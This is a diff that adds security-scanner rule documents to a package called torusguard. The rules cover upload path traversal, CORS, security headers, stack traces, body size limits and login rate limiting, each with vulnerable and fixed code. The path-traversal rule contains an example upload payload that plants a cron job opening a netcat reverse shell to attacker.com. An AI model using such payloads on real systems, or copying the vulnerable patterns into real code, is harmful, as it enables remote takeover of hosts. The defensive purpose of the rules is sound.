torusguard 1.3.0 → 1.3.1

package/.torusguard/rules/TG-INPUT-006-unsafe-file-path-traversal.md

@@ -0,0 +1,131 @@
+---
+id: TG-INPUT-006
+title: Path Traversal and Unsafe Upload Storage
+category: file-upload-handling
+severity: Critical
+confidence: Confirmed
+frameworks:
+  - django
+  - flask
+  - fastapi
+cwe: CWE-22
+asvs_v4: V12.1.1
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-006: Path Traversal and Unsafe Upload Storage
+
+## 🚨 Problem Statement
+Concatenating untrusted user input directly into file system paths without canonicalization or validation allows attackers to traverse directory boundaries (e.g., `../../etc/passwd`) and read or overwrite arbitrary files on the host system.
+
+> **Tuning Guardrails (v0.5.6):**
+> - **DO NOT treat** every `os.path.join()` as path traversal.
+> - **ESCALATE** when untrusted filename/path input reaches file path construction or storage without canonicalization, allowlisting, sanitization (e.g., `secure_filename`), or safe generated naming.
+> - **RECOGNIZE** project-approved filename normalization wrappers where evidence exists.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+An attacker uploads a file with a relative path payload:
+```http
+POST /upload HTTP/1.1
+Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/malicious_job"
+
+* * * * * root /bin/nc -e /bin/sh attacker.com 4444
+```
+If the server performs `open(os.path.join(UPLOAD_DIR, file.filename), "wb")`, the file is written to `/etc/cron.d/`, resulting in arbitrary Remote Code Execution (RCE) on the host.
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Flask (Werkzeug `secure_filename` + UUID Prefix)
+
+#### ❌ Unsafe Pattern
+```python
+# Unsafe: Raw client filename in os.path.join
+@app.route("/upload", methods=["POST"])
+def upload():
+    file = request.files["file"]
+    filepath = os.path.join(UPLOAD_FOLDER, file.filename)
+    file.save(filepath)
+```
+
+#### ✅ Safe Remediation
+```python
+# Safe: Sanitize with secure_filename and generate a random UUID prefix
+import uuid
+from werkzeug.utils import secure_filename
+
+ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".pdf"}
+
+@app.route("/upload", methods=["POST"])
+def upload():
+    file = request.files.get("file")
+    if not file:
+        return {"error": "No file"}, 400
+
+    filename = secure_filename(file.filename)
+    ext = os.path.splitext(filename)[1].lower()
+
+    if ext not in ALLOWED_EXTENSIONS:
+        return {"error": "Invalid file type"}, 400
+
+    safe_name = f"{uuid.uuid4().hex}_{filename}"
+    filepath = os.path.join(UPLOAD_FOLDER, safe_name)
+    file.save(filepath)
+    return {"status": "uploaded", "file_id": safe_name}
+```
+
+---
+
+### 🐍 FastAPI (`UploadFile` & Safe Path Construction)
+
+#### ❌ Unsafe Pattern
+```python
+# Unsafe: Direct path join with upload.filename
+@app.post("/upload")
+async def upload_file(file: UploadFile = File(...)):
+    dest = Path("/var/uploads") / file.filename
+    with open(dest, "wb") as f:
+        f.write(await file.read())
+```
+
+#### ✅ Safe Remediation
+```python
+# Safe: Whitelist extensions and store using generated UUIDs
+import uuid
+from pathlib import Path
+from fastapi import FastAPI, UploadFile, File, HTTPException
+
+UPLOAD_DIR = Path("/var/uploads").resolve()
+ALLOWED_EXT = {".png", ".jpg", ".pdf"}
+
+@app.post("/upload")
+async def upload_file(file: UploadFile = File(...)):
+    ext = Path(file.filename).suffix.lower()
+    if ext not in ALLOWED_EXT:
+        raise HTTPException(status_code=400, detail="Disallowed file extension")
+
+    safe_filename = f"{uuid.uuid4().hex}{ext}"
+    destination = (UPLOAD_DIR / safe_filename).resolve()
+
+    # Assert destination stays within UPLOAD_DIR
+    if not str(destination).startswith(str(UPLOAD_DIR)):
+        raise HTTPException(status_code=400, detail="Path traversal detected")
+
+    content = await file.read(10 * 1024 * 1024) # Cap size to 10MB
+    with open(destination, "wb") as buffer:
+        buffer.write(content)
+
+    return {"file_id": safe_filename}
+```
+
+---
+
+## 🧪 Verification & Reproduction
+1. Test with traversal filename:
+   ```bash
+   curl -F "file=@test.txt;filename=../../evil.txt" http://localhost:5000/upload
+   ```
+2. **Assertion:** Request must reject with `400 Bad Request` or save strictly inside upload directory as a sanitized UUID without directory traversal.

package/.torusguard/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md

@@ -0,0 +1,101 @@
+# TG-PLATFORM-001: Wildcard CORS With Credentials
+
+## Severity
+
+High
+
+## Applies To
+
+- API servers configuring CORS headers
+- Express/Fastify/Nest middleware using `cors()` defaults
+- Reverse proxies and gateways injecting `Access-Control-*` headers
+- Session or cookie-authenticated APIs consumed by browsers
+- Multi-tenant APIs with dynamic origin reflection logic
+
+## Why It Matters
+
+Credentialed cross-origin requests require strict origin controls.
+Using wildcard origins with credentials breaks browser security guarantees.
+Misconfigurations can expose authenticated responses to untrusted origins.
+Even partial origin reflection bugs can create cross-site data leakage.
+This often appears as a simple config mistake with severe impact.
+
+## What TorusGuard Looks For
+
+- `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true`
+- CORS middleware configured with `origin: true` without allowlist validation
+- Reflecting any incoming `Origin` header directly back in responses
+- Missing per-environment allowlists for trusted frontends
+- Inconsistent preflight handling between gateway and application
+- Session-cookie APIs that allow broad or dynamic untrusted origins
+
+## Unsafe Example
+
+```ts
+import cors from "cors";
+
+app.use(cors({
+  origin: "*",
+  credentials: true
+}));
+```
+
+```ts
+app.use((req, res, next) => {
+  res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
+  res.setHeader("Access-Control-Allow-Credentials", "true");
+  next();
+});
+```
+
+## Safe Example
+
+```ts
+import cors from "cors";
+
+const allowedOrigins = new Set([
+  "https://app.example.com",
+  "https://admin.example.com"
+]);
+
+app.use(cors({
+  origin(origin, cb) {
+    if (!origin) return cb(null, true);
+    if (allowedOrigins.has(origin)) return cb(null, true);
+    return cb(new Error("Origin not allowed"));
+  },
+  credentials: true
+}));
+```
+
+## Remediation
+
+1. Remove wildcard origins from any credentialed CORS configuration.
+2. Build explicit allowlists for known trusted web origins per environment.
+3. Validate dynamic origin logic against exact matches, not substring checks.
+4. Keep gateway and app-layer CORS behavior consistent and documented.
+5. Restrict allowed methods and headers to required minimums.
+6. Add tests for preflight and credentialed fetches from trusted/untrusted origins.
+7. Monitor rejected origins to detect probing and config drift.
+8. Reassess CORS when adding new frontend domains or auth mechanisms.
+
+## Verification
+
+- Send credentialed requests from allowed and disallowed origins; verify behavior.
+- Confirm responses never include `*` with credentials enabled.
+- Validate preflight responses include only expected methods/headers.
+- Test browser behavior with real `fetch(..., { credentials: "include" })`.
+- Review gateway response headers in production, not just local dev.
+
+## False Positives and Exceptions
+
+- Non-browser clients where CORS headers are irrelevant to access control
+- Public, fully unauthenticated read-only APIs not using credentials
+- Local development permissive origins, if isolated from production configs
+- Strictly internal tools with network isolation and documented risk acceptance
+
+## Related Rules
+
+- `TG-AUTH-004-insecure-session-cookie.md`
+- `TG-AUTH-002-client-only-authorization.md`
+- `TG-PLATFORM-002-missing-security-headers.md`

package/.torusguard/rules/TG-PLATFORM-002-missing-security-headers.md

@@ -0,0 +1,95 @@
+# TG-PLATFORM-002: Missing Security Headers
+
+## Severity
+
+Medium
+
+## Applies To
+
+- Node/Express/Nest/Fastify web apps serving browser traffic
+- Reverse proxies and CDN layers terminating TLS
+- SSR frontends and static sites with custom response headers
+- APIs returning HTML, login pages, docs portals, or admin consoles
+- Deployments expected to enforce baseline browser hardening
+
+## Why It Matters
+
+Security headers reduce exploitability of common web attack classes.
+Missing headers increase risk from XSS, clickjacking, protocol downgrade, and data leakage.
+Headers are not complete protection, but are critical platform defense-in-depth.
+Gaps often appear during framework migrations or proxy reconfiguration.
+A weak default posture compounds impact of unrelated code bugs.
+
+## What TorusGuard Looks For
+
+- Absent or weak `Content-Security-Policy` on HTML responses
+- Missing `Strict-Transport-Security` on HTTPS production domains
+- Missing `X-Frame-Options` or equivalent `frame-ancestors` directive
+- Missing `X-Content-Type-Options: nosniff`
+- No `Referrer-Policy` or overly permissive values
+- Express apps not using Helmet (or equivalent explicit header strategy)
+
+## Unsafe Example
+
+```ts
+import express from "express";
+const app = express();
+
+app.get("/", (_req, res) => {
+  res.sendFile("index.html");
+});
+```
+
+## Safe Example
+
+```ts
+import express from "express";
+import helmet from "helmet";
+
+const app = express();
+
+app.use(helmet({
+  contentSecurityPolicy: {
+    directives: {
+      defaultSrc: ["'self'"],
+      scriptSrc: ["'self'"],
+      objectSrc: ["'none'"],
+      frameAncestors: ["'none'"],
+      upgradeInsecureRequests: []
+    }
+  },
+  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }
+}));
+```
+
+## Remediation
+
+1. Define a minimum security header baseline for all browser-facing responses.
+2. Enable `helmet` (or equivalent) and customize CSP for app-specific needs.
+3. Enforce HSTS only on HTTPS production domains with rollout planning.
+4. Add `X-Content-Type-Options`, frame protections, and sane referrer policy.
+5. Move inline scripts/styles to nonce/hash-based CSP-compatible patterns.
+6. Validate header behavior at proxy/CDN and app layers to avoid overwrites.
+7. Add automated tests or synthetic checks for required headers per route type.
+8. Document approved exceptions for legacy integrations and review periodically.
+
+## Verification
+
+- Inspect response headers on HTML routes in production.
+- Confirm CSP blocks inline/eval behavior unless explicitly allowed.
+- Validate HSTS appears only on HTTPS and matches intended max-age/preload policy.
+- Test clickjacking protections with iframe embedding attempts.
+- Run security scanner checks and verify no regressions after deploy.
+
+## False Positives and Exceptions
+
+- Pure JSON internal APIs not rendered in browsers (still consider baseline headers)
+- Development environments where CSP is relaxed for hot reload tooling
+- Legacy pages requiring transitional CSP policies during migration windows
+- Routes intentionally embeddable by trusted partners with explicit frame policy docs
+
+## Related Rules
+
+- `TG-PLATFORM-001-wildcard-cors-with-credentials.md`
+- `TG-PLATFORM-003-production-stack-trace-exposure.md`
+- `TG-INPUT-003-unsafe-html-or-code-execution.md`

package/.torusguard/rules/TG-PLATFORM-003-production-stack-trace-exposure.md

@@ -0,0 +1,94 @@
+# TG-PLATFORM-003: Production Stack Trace Exposure
+
+## Severity
+
+Medium
+
+## Applies To
+
+- API error handlers and exception middleware
+- SSR frameworks rendering error pages
+- Reverse proxies returning upstream crash output
+- Serverless functions with default runtime error responses
+- Any production system handling untrusted request input
+
+## Why It Matters
+
+Verbose errors leak internal details useful to attackers.
+Stack traces can expose file paths, package versions, SQL snippets, and infrastructure hints.
+These details speed exploitation and reduce attacker guesswork.
+Operationally, noisy error disclosures also increase user confusion.
+Secure systems return minimal client-facing errors while preserving server-side diagnostics.
+
+## What TorusGuard Looks For
+
+- `res.status(500).send(err.stack)` or equivalent direct stack output
+- Framework debug mode enabled in production (`NODE_ENV` misconfiguration)
+- Error pages rendering exception messages and traces to all users
+- Serialized internal exception objects returned in JSON responses
+- Unhandled promise rejections bubbling raw runtime traces to clients
+- Proxy settings forwarding upstream debug bodies externally
+
+## Unsafe Example
+
+```ts
+app.use((err, _req, res, _next) => {
+  console.error(err);
+  res.status(500).json({
+    message: err.message,
+    stack: err.stack,
+    details: err
+  });
+});
+```
+
+## Safe Example
+
+```ts
+app.use((err, req, res, _next) => {
+  logger.error({
+    path: req.path,
+    method: req.method,
+    errorName: err.name,
+    message: err.message,
+    stack: err.stack
+  });
+
+  res.status(500).json({
+    error: "Internal server error",
+    requestId: req.id
+  });
+});
+```
+
+## Remediation
+
+1. Implement centralized error handling that returns generic client messages.
+2. Log full diagnostics server-side only, including correlation IDs.
+3. Disable framework debug/error overlays in production builds.
+4. Normalize known operational errors to safe, minimal response schemas.
+5. Ensure proxies and serverless gateways do not leak upstream traces.
+6. Add secure defaults for unhandled rejections and uncaught exceptions.
+7. Review third-party middleware for verbose error serialization behavior.
+8. Include incident drill checks for accidental debug-mode deployment.
+
+## Verification
+
+- Trigger representative 500 errors and inspect client responses for leakage.
+- Confirm stack traces appear in structured logs, not in API bodies.
+- Validate production config disables debug pages/overlays.
+- Test SSR routes and static error pages for internal path/version exposure.
+- Run dynamic scans searching for stack signatures in responses.
+
+## False Positives and Exceptions
+
+- Authenticated internal observability endpoints restricted to operators
+- Short-lived canary diagnostics behind strict access controls
+- Non-production environments clearly isolated from public traffic
+- Sanitized error messages that include only non-sensitive validation metadata
+
+## Related Rules
+
+- `TG-PLATFORM-002-missing-security-headers.md`
+- `TG-INPUT-001-missing-server-validation.md`
+- `TG-SEC-004-sensitive-logging.md`

package/.torusguard/rules/TG-PLATFORM-004-missing-request-size-limits.md

@@ -0,0 +1,102 @@
+# TG-PLATFORM-004: Missing Request Size Limits
+
+## Severity
+
+Medium
+
+## Applies To
+
+- JSON body parsers in API servers
+- Multipart upload handlers (`multer`, `busboy`, `formidable`)
+- Reverse proxies and gateways handling inbound body buffering
+- GraphQL endpoints accepting deeply nested or large payloads
+- Webhook endpoints receiving internet-originated request bodies
+
+## Why It Matters
+
+Unlimited request body size enables straightforward resource exhaustion.
+Attackers can submit oversized payloads to consume memory, CPU, and I/O.
+Large bodies also amplify parser overhead before business logic runs.
+This can degrade service availability and increase infrastructure cost.
+Body limits are a foundational availability control.
+
+## What TorusGuard Looks For
+
+- `express.json()` or equivalent parser used without `limit`
+- Multipart middleware configured without `fileSize`/part-count constraints
+- Reverse proxy body size defaults left unconfigured for production
+- Endpoints accepting large payloads without authentication or quotas
+- Missing early rejection behavior (`413 Payload Too Large`)
+- No per-route differentiation (tiny webhook route shares unlimited global limits)
+
+## Unsafe Example
+
+```ts
+import express from "express";
+import multer from "multer";
+
+const app = express();
+const upload = multer(); // no limits
+
+app.use(express.json()); // no limit
+app.post("/api/upload", upload.single("file"), async (req, res) => {
+  await storeFile(req.file);
+  res.json({ ok: true });
+});
+```
+
+## Safe Example
+
+```ts
+import express from "express";
+import multer from "multer";
+
+const app = express();
+const upload = multer({
+  limits: {
+    fileSize: 5 * 1024 * 1024,
+    files: 1,
+    fields: 20
+  }
+});
+
+app.use(express.json({ limit: "1mb" }));
+app.use(express.urlencoded({ extended: false, limit: "256kb" }));
+
+app.post("/api/upload", upload.single("file"), async (req, res) => {
+  await storeFile(req.file);
+  res.json({ ok: true });
+});
+```
+
+## Remediation
+
+1. Set explicit global parser limits for JSON, form, and text payloads.
+2. Apply stricter route-level limits for sensitive or low-bandwidth endpoints.
+3. Configure multipart middleware with file size, file count, and field limits.
+4. Mirror limits at gateway/proxy layer for early rejection and cost control.
+5. Return consistent `413` responses and avoid expensive post-parse handling.
+6. Require auth and quotas for routes that legitimately need larger bodies.
+7. Add depth/complexity controls for GraphQL or nested JSON structures.
+8. Monitor rejected payload metrics and adjust limits based on observed traffic.
+
+## Verification
+
+- Submit oversized JSON/form/multipart payloads and confirm `413` behavior.
+- Verify limits are enforced consistently across app and edge layers.
+- Confirm normal legitimate payloads still succeed.
+- Stress-test endpoints to ensure parser memory remains bounded.
+- Validate logs and metrics capture payload-limit rejections cleanly.
+
+## False Positives and Exceptions
+
+- Internal batch ingestion endpoints on private networks with strict contracts
+- Dedicated large-upload services with chunked protocols and isolated capacity
+- Temporary migration windows requiring higher limits with compensating controls
+- Routes where limits are enforced upstream and app parser never sees large bodies
+
+## Related Rules
+
+- `TG-RATE-003-unbounded-resource-consumption.md`
+- `TG-RATE-002-unlimited-public-write-endpoint.md`
+- `TG-INPUT-004-unrestricted-file-upload.md`

package/.torusguard/rules/TG-RATE-001-unlimited-auth-endpoint.md

@@ -0,0 +1,112 @@
+# TG-RATE-001: Unlimited Authentication Endpoint
+
+## Severity
+
+High
+
+## Applies To
+
+- Login endpoints (`/login`, `/signin`, `/api/auth/login`)
+- Password reset request endpoints
+- OTP and magic-link request endpoints
+- Token exchange and refresh endpoints exposed to internet clients
+
+## Why It Matters
+
+Authentication surfaces are high-value brute-force targets.
+Without request throttling, attackers can attempt large credential lists quickly.
+Even with strong password hashing, unlimited retries can cause account takeover.
+Unauthenticated auth endpoints are also cheap to hit from botnets.
+Excessive failures can degrade performance and create noisy logs.
+Credential stuffing campaigns usually start here before lateral abuse.
+
+## What TorusGuard Looks For
+
+- Auth route handlers with no middleware or logic that tracks attempts
+- No dependency usage for rate limiting (`express-rate-limit`, Redis counters, gateway policies)
+- Missing per-identity or per-IP backoff decisions on failed auth
+- Password reset or OTP endpoints callable repeatedly without cooldown
+- Comments or TODOs that acknowledge rate limiting is not implemented
+- Reverse proxy configs that do not define request limits for auth paths
+
+## Unsafe Example
+
+```ts
+import express from "express";
+import { verifyPassword } from "./auth";
+
+const app = express();
+app.use(express.json());
+
+app.post("/api/auth/login", async (req, res) => {
+  const { email, password } = req.body;
+  const user = await db.user.findUnique({ where: { email } });
+
+  if (!user || !(await verifyPassword(password, user.passwordHash))) {
+    return res.status(401).json({ error: "Invalid credentials" });
+  }
+
+  return res.json({ token: signJwt({ sub: user.id }) });
+});
+```
+
+## Safe Example
+
+```ts
+import express from "express";
+import rateLimit from "express-rate-limit";
+import { verifyPassword } from "./auth";
+
+const app = express();
+app.use(express.json());
+
+const authLimiter = rateLimit({
+  windowMs: 15 * 60 * 1000,
+  max: 10,
+  standardHeaders: true,
+  legacyHeaders: false,
+  message: { error: "Too many authentication attempts. Try later." }
+});
+
+app.post("/api/auth/login", authLimiter, async (req, res) => {
+  const { email, password } = req.body;
+  const user = await db.user.findUnique({ where: { email } });
+  if (!user || !(await verifyPassword(password, user.passwordHash))) {
+    return res.status(401).json({ error: "Invalid credentials" });
+  }
+  return res.json({ token: signJwt({ sub: user.id }) });
+});
+```
+
+## Remediation
+
+1. Identify every internet-facing authentication and account-recovery endpoint.
+2. Apply a rate limiter at app, gateway, or CDN edge for those routes.
+3. Add tighter thresholds for auth than for generic API traffic.
+4. Layer controls: per-IP + per-account/email counters when possible.
+5. Introduce cooldown/backoff after repeated failures.
+6. Return uniform auth errors to avoid account enumeration.
+7. Ensure limits are distributed (Redis or gateway), not in-process only.
+8. Alert on sustained throttling spikes as potential credential-stuffing.
+
+## Verification
+
+- Trigger more than allowed login failures from a single source and confirm `429`.
+- Confirm `Retry-After` or equivalent response hints are present.
+- Validate successful logins still work under normal user behavior.
+- Verify limits apply to reset, OTP, and magic-link request endpoints too.
+- Inspect deployment gateway/WAF config to ensure parity with app behavior.
+
+## False Positives and Exceptions
+
+- Internal service-to-service auth endpoints behind private network controls only
+- Endpoints already protected by managed API gateway quotas with strict scopes
+- Staging environments used only in private CI where public traffic is impossible
+- Temporary elevated limits during controlled load tests (must be time-boxed)
+
+## Related Rules
+
+- `TG-AUTH-005-unsafe-password-reset.md`
+- `TG-AUTH-001-weak-password-storage.md`
+- `TG-RATE-002-unlimited-public-write-endpoint.md`
+- `TG-RATE-003-unbounded-resource-consumption.md`